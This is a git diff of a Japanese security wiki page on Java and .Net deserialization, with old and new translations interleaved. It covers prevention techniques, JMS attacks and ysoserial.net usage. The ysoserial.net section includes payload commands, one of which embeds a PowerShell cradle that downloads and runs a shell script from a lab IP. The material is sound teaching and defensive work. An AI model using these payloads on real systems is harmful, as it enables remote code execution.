* [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
|
||||
|
||||
### なぜ
|
||||
### Why
|
||||
|
||||
Javaはシリアライズされたオブジェクトを至る所に送信することが好きです。例えば:
|
||||
Javaはさまざまな目的でシリアル化を多用しています:
|
||||
|
||||
* **HTTPリクエスト** – パラメータ、ViewState、クッキーなど。
|
||||
* **RMI** – 広く使用されているJava RMIプロトコルは、100%シリアライズに基づいています。
|
||||
* **HTTP上のRMI** – 多くのJava厚客戸型webアプリケーションがこれを使用しています – 再び100%シリアライズされたオブジェクト。
|
||||
* **JMX** – こちらも、ネットワーク上でシリアライズされたオブジェクトが送信されることに依存しています。
|
||||
* **カスタムプロトコル** – 生のJavaオブジェクトの送受信は標準であり、これから見ていくいくつかのエクスプロイトでわかるようになります。
|
||||
- **HTTPリクエスト**: シリアル化は、パラメータ、ViewState、クッキーの管理などで広く利用されています。
|
||||
- **RMI (Remote Method Invocation)**: 完全にシリアル化に依存するJava RMIプロトコルは、Javaアプリケーションのリモート通信の基盤です。
|
||||
- **RMI over HTTP**: この方法は、シリアル化を利用してすべてのオブジェクト通信を行うJavaベースの厚いクライアントWebアプリケーションによく使用されます。
|
||||
- **JMX (Java Management Extensions)**: JMXはネットワークを介してオブジェクトを転送するためにシリアル化を利用しています。
|
||||
- **カスタムプロトコル**: Javaでは、標準的な方法として、今後のエクスプロイト例で示されるように、生のJavaオブジェクトの転送が行われます。
|
||||
|
||||
### 予防
|
||||
### Prevention
|
||||
|
||||
#### 一時オブジェクト
|
||||
#### 一時的なオブジェクト
|
||||
|
||||
`Serializable`を実装するクラスは、シリアライズ可能であるべきではないクラス内の任意のオブジェクトを`transient`として実装できます。例えば:
|
||||
`Serializable`を実装するクラスは、シリアル化されてはいけないクラス内のオブジェクトを`transient`として実装できます。例:
|
||||
```java
|
||||
public class myAccount implements Serializable
|
||||
{
|
||||
private transient double profit; // declared transient
|
||||
private transient double margin; // declared transient
|
||||
```
|
||||
#### Serializableを実装する必要があるクラスのシリアライズを避ける
|
||||
#### `Serializable` インターフェースを実装する必要があるクラスのシリアライズを回避する
|
||||
|
||||
アプリケーションオブジェクトの一部は、その階層のために`Serializable`を実装することを強いられるかもしれません。アプリケーションオブジェクトがデシリアライズされないように保証するためには、常に例外を投げる`readObject()`メソッドを宣言する必要があります(`final`修飾子付きで)。
|
||||
特定の**オブジェクトがクラス階層のために`Serializable`インターフェースを実装する必要がある**シナリオでは、意図しない逆シリアル化のリスクがあります。これを防ぐために、以下に示すように、`final` `readObject()` メソッドを定義して一貫して例外をスローすることで、これらのオブジェクトが逆シリアル化できないようにします。
|
||||
```java
|
||||
private final void readObject(ObjectInputStream in) throws java.io.IOException {
|
||||
throw new java.io.IOException("Cannot be deserialized");
|
||||
}
|
||||
```
|
||||
#### デシリアライズする前にデシリアライズされるクラスをチェックする
|
||||
#### **Javaにおける逆シリアル化セキュリティの強化**
|
||||
|
||||
`java.io.ObjectInputStream` クラスはオブジェクトのデシリアライズに使用されます。このクラスをサブクラス化することで、その動作を強化することが可能です。以下の場合に最適な解決策です:
|
||||
`java.io.ObjectInputStream`をカスタマイズすることは、逆シリアル化プロセスを保護するための実用的なアプローチです。この方法は、次の場合に適しています:
|
||||
|
||||
* デシリアライズを行うコードを変更できる場合
|
||||
* デシリアライズを期待するクラスがわかっている場合
|
||||
- 逆シリアル化コードがあなたの管理下にある場合。
|
||||
- 逆シリアル化に必要なクラスが既知の場合。
|
||||
|
||||
一般的な考え方は、[`ObjectInputStream.html#resolveClass()`](https://docs.oracle.com/javase/7/docs/api/java/io/ObjectInputStream.html#resolveClass\(java.io.ObjectStreamClass\)) をオーバーライドして、デシリアライズを許可するクラスを制限することです。
|
||||
|
||||
この呼び出しは `readObject()` が呼ばれる前に行われるため、許可したい型でない限り、デシリアライズ活動が発生しないことを確信できます。
|
||||
|
||||
ここに示されている簡単な例では、`LookAheadObjectInputStream` クラスは `Bicycle` クラス以外の型をデシリアライズしないことが保証されています:
|
||||
**`resolveClass()`** メソッドをオーバーライドして、許可されたクラスに逆シリアル化を制限します。これにより、`Bicycle`クラスのように明示的に許可されたクラス以外のクラスの逆シリアル化を防ぎます。
|
||||
```java
|
||||
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
|
||||
public class LookAheadObjectInputStream extends ObjectInputStream {
|
||||
|
||||
public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
|
||||
|
@ -546,33 +541,52 @@ return super.resolveClass(desc);
|
|||
}
|
||||
}
|
||||
```
|
||||
**java.io.ObjectInputStreamの使用をエージェントで強化する**
|
||||
|
||||
コードを所有していない場合やパッチを待つことができない場合は、`java.io.ObjectInputStream`に強化を織り込むためにエージェントを使用するのが最善の解決策です。\
|
||||
このアプローチを使用すると、シリアライズされているオブジェクトが何かわからないため、既知の悪意のあるタイプをブラックリストに登録することはできますが、ホワイトリストにはできません。
|
||||
|
||||
これらのエージェントを有効にするには、単に新しいJVMパラメータを追加します:
|
||||
**セキュリティ強化のためのJavaエージェントの使用**は、コードの変更が不可能な場合のフォールバックソリューションを提供します。この方法は主に**有害なクラスをブラックリスト化**するためにJVMパラメータを使用します:
|
||||
```
|
||||
-javaagent:name-of-agent.jar
|
||||
```
|
||||
例:[rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
|
||||
デシリアル化を動的に保護する方法を提供し、即座のコード変更が実用的でない環境に最適です。
|
||||
|
||||
[rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0) で例を確認してください。
|
||||
|
||||
**シリアル化フィルターの実装**: Java 9 では、**`ObjectInputFilter`** インターフェースを介してシリアル化フィルターが導入され、デシリアル化される前にシリアル化されたオブジェクトが満たす必要がある基準を指定する強力なメカニズムが提供されます。これらのフィルターは、グローバルに適用するか、ストリームごとに適用することができ、デシリアル化プロセスに対する細かい制御を提供します。
|
||||
|
||||
シリアル化フィルターを利用するには、すべてのデシリアル化操作に適用されるグローバルフィルターを設定するか、特定のストリームに動的に構成することができます。例:
|
||||
```java
|
||||
ObjectInputFilter filter = info -> {
|
||||
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
|
||||
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
|
||||
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
|
||||
return Status.REJECTED; // Restrict to allowed classes
|
||||
}
|
||||
return Status.ALLOWED;
|
||||
};
|
||||
ObjectInputFilter.Config.setSerialFilter(filter);
|
||||
```
|
||||
**外部ライブラリを活用したセキュリティの強化**: **NotSoSerial**、**jdeserialize**、**Kryo**などのライブラリは、Javaの逆シリアル化を制御および監視するための高度な機能を提供します。これらのライブラリは、ホワイトリストやブラックリストのクラス、逆シリアル化前のシリアル化されたオブジェクトの分析、カスタムシリアル化戦略の実装など、追加のセキュリティレイヤーを提供できます。
|
||||
|
||||
- **NotSoSerial** は、実行される信頼できないコードを防ぐために逆シリアル化プロセスをインターセプトします。
|
||||
- **jdeserialize** は、逆シリアル化せずにシリアル化されたJavaオブジェクトの分析を可能にし、潜在的に悪意のあるコンテンツを特定するのに役立ちます。
|
||||
- **Kryo** は、速度と効率を重視した代替シリアル化フレームワークであり、セキュリティを強化できる構成可能なシリアル化戦略を提供します。
|
||||
|
||||
|
||||
### 参考文献
|
||||
|
||||
* Deserializationとysoserialに関するトーク:[http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
|
||||
* [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html)
|
||||
* 逆シリアル化とysoserialに関するトーク: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
|
||||
* [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
|
||||
* [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ)
|
||||
* gadgetinspectorに関するトーク:[https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) とスライド:[https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
|
||||
* Marshalsec論文:[https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
|
||||
* Gadgetinspectorに関するトーク: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) およびスライド: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
|
||||
* Marshalsec論文: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
|
||||
* [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
|
||||
* [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
|
||||
* [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
|
||||
* Javaと.NetのJSON deserialization **論文:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** トーク:[https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) とスライド:[https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
* Deserialziations CVEs:[https://paper.seebug.org/123/](https://paper.seebug.org/123/)
|
||||
* Javaおよび.Net JSON逆シリアル化 **論文:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** トーク: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) およびスライド: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
* 逆シリアル化CVE: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
|
||||
|
||||
## JNDI Injection & log4Shell
|
||||
|
||||
以下のページで**JNDI Injectionとは何か、RMI、CORBA、LDAPを介してどのように悪用できるか、log4shellをどのように悪用するか**(この脆弱性の例も含む)を見つけてください:
|
||||
**JNDI Injection**とは何か、**RMI**、**CORBA**、**LDAP**を介してそれを悪用する方法、および**log4shell**をどのように悪用するか(およびこの脆弱性の例)を次のページで見つけてください:
|
||||
|
||||
{% content-ref url="jndi-java-naming-and-directory-interface-and-log4shell.md" %}
|
||||
[jndi-java-naming-and-directory-interface-and-log4shell.md](jndi-java-naming-and-directory-interface-and-log4shell.md)
|
||||
|
@ -580,69 +594,69 @@ return super.resolveClass(desc);
|
|||
|
||||
## JMS - Java Message Service
|
||||
|
||||
> **Java Message Service**(**JMS**)APIは、2つ以上のクライアント間でメッセージを送信するためのJavaメッセージ指向のミドルウェアAPIです。これは、プロデューサーとコンシューマーの問題を処理するための実装です。JMSはJava Platform, Enterprise Edition(Java EE)の一部であり、Sun Microsystemsで開発された仕様によって定義されましたが、現在はJava Community Processによって指導されています。これは、Java EEに基づくアプリケーションコンポーネントがメッセージを作成、送信、受信、および読み取ることを可能にするメッセージング標準です。これにより、分散アプリケーションの異なるコンポーネント間の通信が、疎結合、信頼性、および非同期で行われます。([Wikipedia](https://en.wikipedia.org/wiki/Java\_Message\_Service)より)。
|
||||
> **Java Message Service** (**JMS**) APIは、2つ以上のクライアント間でメッセージを送信するためのJavaメッセージ指向ミドルウェアAPIです。これは、プロデューサー-コンシューマー問題を処理する実装です。JMSはJava Platform, Enterprise Edition(Java EE)の一部であり、Sun Microsystemsで開発された仕様によって定義されましたが、その後Java Community Processによってガイドされています。これは、Java EEに基づくアプリケーションコンポーネントがメッセージを作成、送信、受信、読み取りすることを可能にするメッセージング標準です。分散アプリケーションの異なるコンポーネント間の通信を緩やかに結合し、信頼性があり非同期であることを可能にします。([Wikipedia](https://en.wikipedia.org/wiki/Java\_Message\_Service))。
|
||||
|
||||
### 製品
|
||||
|
||||
このミドルウェアを使用してメッセージを送信するいくつかの製品があります:
|
||||
このミドルウェアを使用してメッセージを送信するいくつかの製品があります:
|
||||
|
||||
![](<../../.gitbook/assets/image (291).png>)
|
||||
![https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](<../../.gitbook/assets/image (291).png>)
|
||||
|
||||
![](<../../.gitbook/assets/image (292).png>)
|
||||
![https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](<../../.gitbook/assets/image (292).png>)
|
||||
|
||||
### 悪用
|
||||
|
||||
基本的には、**危険な方法でJMSを使用しているサービスがたくさんあります**。したがって、これらのサービスにメッセージを送信するための**十分な権限**を持っている場合(通常は有効な資格情報が必要です)、**消費者/サブスクライバーによって逆シリアル化される悪意のあるオブジェクトをシリアル化して送信することができる**可能性があります。\
|
||||
これは、この悪用により、そのメッセージを使用するすべての**クライアントが感染する**ことを意味します。
|
||||
つまり、**危険な方法でJMSを使用している多くのサービスが存在**します。したがって、これらのサービスにメッセージを送信するための**十分な権限**がある場合(通常、有効な資格情報が必要です)、**逆シリアル化される悪意のあるオブジェクトを送信できる可能性があります**。\
|
||||
これはつまり、この悪用では、そのメッセージを使用するすべての**クライアントが感染する**ことを意味します。
|
||||
|
||||
サービスが脆弱である(ユーザー入力を安全でない方法で逆シリアル化している)場合でも、脆弱性を悪用するための有効なガジェットを見つける必要があることを覚えておく必要があります。
|
||||
サービスが脆弱であっても(ユーザー入力を安全に逆シリアル化していないため)、脆弱性を悪用するためには有効なガジェットを見つける必要があります。
|
||||
|
||||
ツール[JMET](https://github.com/matthiaskaiser/jmet)は、**既知のガジェットを使用してシリアル化された複数の悪意のあるオブジェクトを送信し、これらのサービスに接続して攻撃するために作成されました**。これらのエクスプロイトは、サービスがまだ脆弱であり、使用されたガジェットのいずれかが脆弱なアプリケーション内に存在する場合に機能します。
|
||||
ツール[JMET](https://github.com/matthiaskaiser/jmet)は、既知のガジェットを使用してシリアル化された悪意のあるオブジェクトを送信し、これらのサービスに接続して攻撃するために作成されました。これらのエクスプロイトは、サービスがまだ脆弱であり、使用されたガジェットのいずれかが脆弱なアプリケーション内に存在する場合に機能します。
|
||||
|
||||
### 参考文献
|
||||
|
||||
* JMETトーク:[https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
|
||||
* スライド:[https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf)
|
||||
* JMETトーク: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
|
||||
* スライド: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf)
|
||||
|
||||
## .Net
|
||||
|
||||
.Netは、deserializationエクスプロイトの動作方法に関してJavaと似ています:**エクスプロイト**は、オブジェクトが**逆シリアル化されたときに**興味深い**コードを**実行する**ガジェットを**悪用します**。
|
||||
.Netのコンテキストでは、逆シリアル化エクスプロイトは、Javaで見られるものと同様に、ガジェットがオブジェクトの逆シリアル化中に特定のコードを実行するように悪用されます。
|
||||
|
||||
### フィンガープリント
|
||||
|
||||
#### WhiteBox
|
||||
|
||||
ソースコードで以下の用語を検索します:
|
||||
次の出現箇所を検査する必要があります:
|
||||
|
||||
1. `TypeNameHandling`
|
||||
2. `JavaScriptTypeResolver`
|
||||
|
||||
ユーザーが制御可能な変数によって型が設定されているシリアライザーを探します。
|
||||
焦点は、ユーザーが制御する変数によって型を決定できるシリアライザに置かれるべきです。
|
||||
|
||||
#### BlackBox
|
||||
|
||||
Base64エンコードされた文字列**AAEAAAD/////**や、バックエンドで**逆シリアル化される可能性のある**他のものを検索します。例えば、`TypeObject`や`$type`を含む**JSON**や**XML**などです。
|
||||
検索は、サーバーサイドで逆シリアル化される可能性のあるBase64エンコードされた文字列 **AAEAAAD/////** または同様のパターンに対して行われるべきであり、逆シリアル化される型を制御する権限を付与します。これには、**JSON**または**XML**構造が含まれ、`TypeObject`または`$type`を特徴とするものが含まれます。
|
||||
|
||||
### ysoserial.net
|
||||
|
||||
この場合、ツール[**ysoserial.net**](https://github.com/pwntester/ysoserial.net)を使用して**逆シリアル化エクスプロイトを作成**できます。gitリポジトリをダウンロードしたら、例えばVisual Studioを使用してツールを**コンパイル**する必要があります。
|
||||
この場合、ツール[**ysoserial.net**](https://github.com/pwntester/ysoserial.net)を使用して**逆シリアル化エクスプロイトを作成**できます。Gitリポジトリをダウンロードしたら、たとえばVisual Studioを使用してツールを**コンパイル**する必要があります。
|
||||
|
||||
**ysoserial.netがエクスプロイトをどのように作成するか**について学びたい場合は、[**ObjectDataProviderガジェット + ExpandedWrapper + Json.Netフォーマッターについて説明されているこのページをチェック**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md)できます。
|
||||
**ysoserial.netがどのようにエクスプロイトを作成するか**について学びたい場合は、[**ここでObjectDataProviderガジェット+ExpandedWrapper+Json.Netフォーマッタが説明されているページをチェックしてください**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md)。
|
||||
|
||||
**ysoserial.net**の主なオプションは:**`--gadget`**, **`--formatter`**, **`--output`** および **`--plugin`.**
|
||||
**ysoserial.net**の主なオプションは次のとおりです: **`--gadget`**、**`--formatter`**、**`--output`**、**`--plugin`**。
|
||||
|
||||
* **`--gadget`** は悪用するガジェットを指定するために使用されます(逆シリアル化中にコマンドを実行するために悪用されるクラス/関数を示します)。
|
||||
* **`--formatter`** は、エクスプロイトをシリアル化する方法を指定するために使用されます(バックエンドがペイロードを逆シリアル化するために使用するライブラリを知っておく必要があり、同じものをシリアル化するために使用します)
|
||||
* **`--output`** は、エクスプロイトを**raw**または**base64**エンコードされた形式で欲しいかを指示するために使用されます。_**ysoserial.net**はペイロードを**UTF-16LE**(Windowsでデフォルトで使用されるエンコーディング)を使用して**エンコード**するので、rawを取得してLinuxコンソールからただエンコードした場合、エクスプロイトが適切に機能しない可能性がある**エンコーディングの互換性の問題**が発生するかもしれません(HTB JSONボックスではUTF-16LEとASCIIの両方でペイロードが機能しましたが、これが常に機能するとは限りません)。_
|
||||
* **`--plugin`** ysoserial.netはViewStateのような特定のフレームワーク向けの**エクスプロイトを作成するためのプラグイン**をサポートしています
|
||||
* **`--gadget`** は、悪用するガジェットを示すために使用されます(逆シリアル化中にコマンドを実行するために悪用されるクラス/関数を示します)。
|
||||
* **`--formatter`** は、エクスプロイトをシリアル化する方法を示すために使用されます(ペイロードを逆シリアル化するためにバックエンドで使用されているライブラリを知っており、それを使用してシリアル化する必要があります)。
|
||||
* **`--output`** は、エクスプロイトを**raw**または**base64**エンコードで表示するかを示すために使用されます。_**ysoserial.net**はペイロードを**UTF-16LE**でエンコードします(Windowsでデフォルトで使用されるエンコーディング)ので、Linuxコンソールから単にエンコードしても、正しく機能しない可能性がある**エンコーディングの互換性の問題**が発生する可能性があります(HTB JSONボックスでは、ペイロードがUTF-16LEとASCIIの両方で機能しましたが、これは常に機能するとは限りません)。_
|
||||
* **`--plugin`** ysoserial.netは、ViewStateなどの**特定のフレームワーク用のエクスプロイトを作成**するためのプラグインをサポートしています。
|
||||
|
||||
#### ysoserial.netのその他のパラメーター
|
||||
#### ysoserial.netのその他のパラメータ
|
||||
|
||||
* `--minify` は可能であれば**より小さなペイロード**を提供します
|
||||
* `--raf -f Json.Net -c "anything"` これにより、提供されたフォーマッター(この場合は`Json.Net`)で使用できるすべてのガジェットが示されます
|
||||
* `--sf xml` は、ガジェット(`-g`)を**指定**し、ysoserial.netは"xml"(大文字小文字を区別しない)を含むフォーマッターを検索します
|
||||
* `--minify` は、**より小さなペイロード**を提供します(可能な場合)
|
||||
* `--raf -f Json.Net -c "anything"` これは、提供されたフォーマッタ(この場合は`Json.Net`)で使用できるすべてのガジェットを示します
|
||||
* `--sf xml` あなたはガジェットを示すことができます(`-g`)そしてysoserial.netは"xml"を含むフォーマッタを検索します(大文字小文字を区別しない)
|
||||
|
||||
**ysoserialの例**でエクスプロイトを作成する:
|
||||
**ysoserialの例**、エクスプロイトの作成:
|
||||
```bash
|
||||
#Send ping
|
||||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
|
||||
|
@ -660,9 +674,9 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.
|
|||
#Create exploit using the created B64 shellcode
|
||||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
|
||||
```
|
||||
**ysoserial.net** には、各エクスプロイトがどのように機能するかをよりよく理解するのに役立つ**非常に興味深いパラメーター**があります: `--test`\
|
||||
このパラメーターを指定すると、**ysoserial.net** は**ローカルでエクスプロイトを試みます**ので、ペイロードが正しく機能するかどうかをテストできます。\
|
||||
このパラメーターは便利です。なぜなら、コードを見ると以下のようなコードの塊が見つかるからです([ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)からのもの):
|
||||
**ysoserial.net**には、各エクスプロイトがどのように機能するかをよりよく理解するのに役立つ非常に興味深いパラメーターがあります:`--test`
|
||||
このパラメーターを指定すると、**ysoserial.net**はエクスプロイトをローカルで試行し、ペイロードが正しく機能するかどうかをテストできます。
|
||||
このパラメーターは役立ちます。なぜなら、コードを確認すると、次のようなコードの断片が見つかるからです([ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)から):
|
||||
```java
|
||||
if (inputArgs.Test)
|
||||
{
|
||||
|
@ -676,9 +690,7 @@ Debugging.ShowErrors(inputArgs, err);
|
|||
}
|
||||
}
|
||||
```
|
||||
```markdown
|
||||
これは、エクスプロイトをテストするために、コードが[serializersHelper.JsonNet_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539)を呼び出すことを意味します。
|
||||
```
|
||||
これは、エクスプロイトをテストするためにコードが[serializersHelper.JsonNet\_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539)を呼び出すことを意味します。
|
||||
```java
|
||||
public static object JsonNet_deserialize(string str)
|
||||
{
|
||||
|
@ -689,83 +701,60 @@ TypeNameHandling = TypeNameHandling.Auto
|
|||
return obj;
|
||||
}
|
||||
```
|
||||
**前述のコードは作成されたエクスプロイトに対して脆弱です。**したがって、.Netアプリケーションで同様のものを見つけた場合、そのアプリケーションもおそらく脆弱であるということを意味します。
|
||||
そのため、**`--test`** パラメーターを使用すると、**ysoserial.net** が作成できるデシリアライゼーションエクスプロイトに対して**どのコードの断片が脆弱であるか**を理解することができます。
|
||||
**前のコードは作成されたエクスプロイトに脆弱**です。そのため、.Netアプリケーションで類似したものを見つけた場合、そのアプリケーションも脆弱である可能性があります。\
|
||||
したがって、**`--test`**パラメータを使用すると、**ysoserial.net**が作成できる逆シリアル化エクスプロイトに**どのコードチャンクが脆弱**かを理解できます。
|
||||
|
||||
### ViewState
|
||||
|
||||
[**.Netの\_\_ViewStateパラメーターを利用して任意のコードを実行する方法についてのこの投稿**](exploiting-\_\_viewstate-parameter.md)をご覧ください。もし**既に被害者マシンが使用しているシークレットを知っている場合**は、[**コードを実行する方法を知るためにこの投稿を読んでください**](exploiting-\_\_viewstate-knowing-the-secret.md)**。**
|
||||
[**.Netの\_\_ViewStateパラメータを悪用しようとする方法についてのこのPOST**](exploiting-\_\_viewstate-parameter.md)を見て、**任意のコードを実行**してください。被害者マシンが使用している秘密を**すでに知っている**場合は、[**この投稿を読んでコードを実行**](exploiting-\_\_viewstate-knowing-the-secret.md)**してください**。
|
||||
|
||||
### **予防**
|
||||
### 予防
|
||||
|
||||
データストリームがストリームがデシリアライズされるオブジェクトのタイプを定義することを許可しないでください。例えば、可能であれば `DataContractSerializer` や `XmlSerializer` を使用することでこれを防ぐことができます。
|
||||
.Netでの逆シリアル化に関連するリスクを軽減するためには:
|
||||
|
||||
`JSON.Net` を使用する場合は、`TypeNameHandling` が `None` に設定されていることを確認してください。
|
||||
```
|
||||
TypeNameHandling = TypeNameHandling.None
|
||||
```
|
||||
```markdown
|
||||
`JavaScriptSerializer`を使用する場合は、`JavaScriptTypeResolver`と一緒に使用しないでください。
|
||||
- **データストリームがオブジェクトタイプを定義することを避ける**。可能な限り`DataContractSerializer`または`XmlSerializer`を使用します。
|
||||
|
||||
独自の型を定義するデータストリームを逆シリアル化する必要がある場合は、逆シリアル化が許可される型を制限してください。多くのネイティブな.Net型がそれ自体で危険な可能性があることを認識する必要があります。例えば、
|
||||
```
|
||||
```
|
||||
System.IO.FileInfo
|
||||
```
|
||||
```markdown
|
||||
サーバー上に実際に存在するファイルを参照する`FileInfo`オブジェクトは、逆シリアライズされる際に、それらのファイルのプロパティを変更する可能性があります(例えば、読み取り専用にするなど)。これにより、サービス拒否攻撃の潜在的なリスクが生じます。
|
||||
- **`JSON.Net`では、`TypeNameHandling`を`None`に設定します**:
|
||||
%%%TypeNameHandling = TypeNameHandling.None%%%
|
||||
|
||||
逆シリアライズ可能な型を制限している場合でも、一部の型にはリスキーなプロパティが存在することを覚えておく必要があります。例えば、`System.ComponentModel.DataAnnotations.ValidationException`は`Value`という`Object`型のプロパティを持っています。この型が逆シリアライズのために許可されている型であれば、攻撃者は`Value`プロパティに任意のオブジェクト型を設定することができます。
|
||||
- **`JavaScriptSerializer`を`JavaScriptTypeResolver`と一緒に使用しない**。
|
||||
|
||||
攻撃者がインスタンス化される型を操作することを防ぐべきです。これが可能であれば、`DataContractSerializer`や`XmlSerializer`でさえも悪用される可能性があります。例えば:
|
||||
```
|
||||
```
|
||||
// Action below is dangerous if the attacker can change the data in the database
|
||||
var typename = GetTransactionTypeFromDatabase();
|
||||
- **逆シリアル化できるタイプを制限**し、`System.IO.FileInfo`などの.Netタイプに固有のリスクを理解します。これにより、サーバーファイルのプロパティを変更できる可能性があり、サービス拒否攻撃につながる可能性があります。
|
||||
|
||||
var serializer = new DataContractJsonSerializer(Type.GetType(typename));
|
||||
- **リスクのあるプロパティを持つタイプには注意**してください。たとえば、`Value`プロパティを持つ`System.ComponentModel.DataAnnotations.ValidationException`は悪用される可能性があります。
|
||||
|
||||
var obj = serializer.ReadObject(ms);
|
||||
```
|
||||
```markdown
|
||||
デシリアライゼーション中に特定の.Netタイプ内で実行が発生することがあります。以下に示すようなコントロールを作成することは効果がありません。
|
||||
```
|
||||
```
|
||||
var suspectObject = myBinaryFormatter.Deserialize(untrustedData);
|
||||
- **逆シリアル化プロセスに影響を与える攻撃者を防ぐために、タイプのインスタンス化を安全に制御**します。これにより、`DataContractSerializer`や`XmlSerializer`さえも脆弱になります。
|
||||
|
||||
//Check below is too late! Execution may have already occurred.
|
||||
if (suspectObject is SomeDangerousObjectType)
|
||||
{
|
||||
//generate warnings and dispose of suspectObject
|
||||
}
|
||||
```
|
||||
`BinaryFormatter`と`JSON.Net`では、カスタム`SerializationBinder`を使用して、より安全なホワイトリスト制御を作成することが可能です。
|
||||
